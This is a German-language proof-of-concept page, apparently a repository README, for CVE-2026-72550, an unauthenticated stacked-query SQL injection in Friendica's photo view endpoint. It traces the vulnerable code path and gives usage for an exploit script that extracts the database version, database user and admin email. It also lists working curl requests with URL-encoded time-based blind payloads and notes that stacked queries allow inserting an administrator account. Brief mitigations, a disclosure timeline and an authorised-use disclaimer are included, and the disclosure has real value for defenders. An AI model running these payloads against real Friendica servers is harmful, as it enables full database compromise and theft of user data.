
CVE-2026-72550 — Friendica PoC für nicht authentifizierte Stacked-Query-SQL-Injection (CVSS 9.8 Kritisch)
| Feld | Wert |
|---|
| CVE-ID | CVE-2026-72550 |
| Produkt | Friendica (selbst gehostetes föderiertes soziales Netzwerk) |
| Betroffen | <= 2026.08-dev (git HEAD e3fc1bc) |
| Typ | CWE-89: SQL-Injection (unauthentifiziert, gestapelte Abfragen) |
| Schweregrad | Kritisch — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Authentifizierung erforderlich | Keine |
Der Foto-View-Endpunkt in Friendica nimmt den Abfrageparameter order und fügt ihn ohne Escape in eine SHOW COLUMNS ... LIKE '...'-Anweisung ein, die über ein direktes PDO::query() ausgeführt wird – was mehrere Anweisungen erlaubt. Es ist keine Anmeldung erforderlich, und bei einer Standardinstallation (block_public ist standardmäßig deaktiviert) reicht jedes öffentlich sichtbare Foto aus. Da PDO::query() gestapelte Anweisungen ausführt, liest ein anonymer Angreifer nicht nur Daten – er führt beliebiges SQL aus, einschließlich INSERT/UPDATE, um einen Administrator-Benutzer zu erstellen.
mod/photos.php:673 — reads raw $_GET['order']
DBStructure::existsColumn() — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
src/Database/DBStructure.php:714
DBA::p() → PDO::query() — executes with stacked statements enabled
Der Standardanforderungspfad erreicht diesen Code: $cmd hat standardmäßig den Wert 'view' (was die Bedingung $cmd === 'view' erfüllt) und no_count ist deaktiviert, sodass keine Authentifizierung und keine nicht standardmäßige Einstellung erforderlich ist.
# Install dependency
pip install requests
# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only
# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version
# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user
# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name
# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
| Flag | Beschreibung |
|---|---|
-u / --url | Basis-URL des Ziels (z. B. http://target:8176) |
-r / --user | Benutzername, dessen Fotogalerie angegriffen werden soll |
-i / --resource-id | Ressourcen-ID eines beliebigen öffentlich sichtbaren Fotos |
--extract | Wert, der exfiltriert werden soll: version, db_user, db_name, admin_email |
--check-only | Nur die Schwachstelle testen, keine Daten extrahieren |
--sleep | SLEEP-Verzögerung in Sekunden (Standard: 5) |
Es sind weder Cookies noch eine Authentifizierung erforderlich. Richten Sie es auf eine beliebige Ressourcen-ID eines öffentlichen Fotos:
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=created"
# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
Dekodierte Payload: x';SELECT SLEEP(5)-- -
Das injizierte SQL wird zu:
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"
# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
Ein nicht authentifizierter Angreifer kann:
INSERT INTO userDies ist eine vollständige Kompromittierung der Datenbank, die von jedem anonymen Besucher bei einer Standardinstallation von Friendica erreicht werden kann.
order vor der Verwendung gegen die bekannte Spalten-Whitelist validierenSHOW COLUMNS verwendenPDO::ATTR_EMULATE_PREPARES => false)| Datum | Ereignis |
|---|---|
| 2026-07-07 | Schwachstelle entdeckt und auf lokaler Instanz bestätigt |
| 2026-08-11 | CVE-2026-72550 über TuranSec CNA veröffentlicht |
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Verwenden Sie es nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor übernimmt keine Haftung für Missbrauch.
Entdeckt von Bobur Abdugafforov (@abdugafforov-bobur)
CVE zugewiesen über TuranSec CNA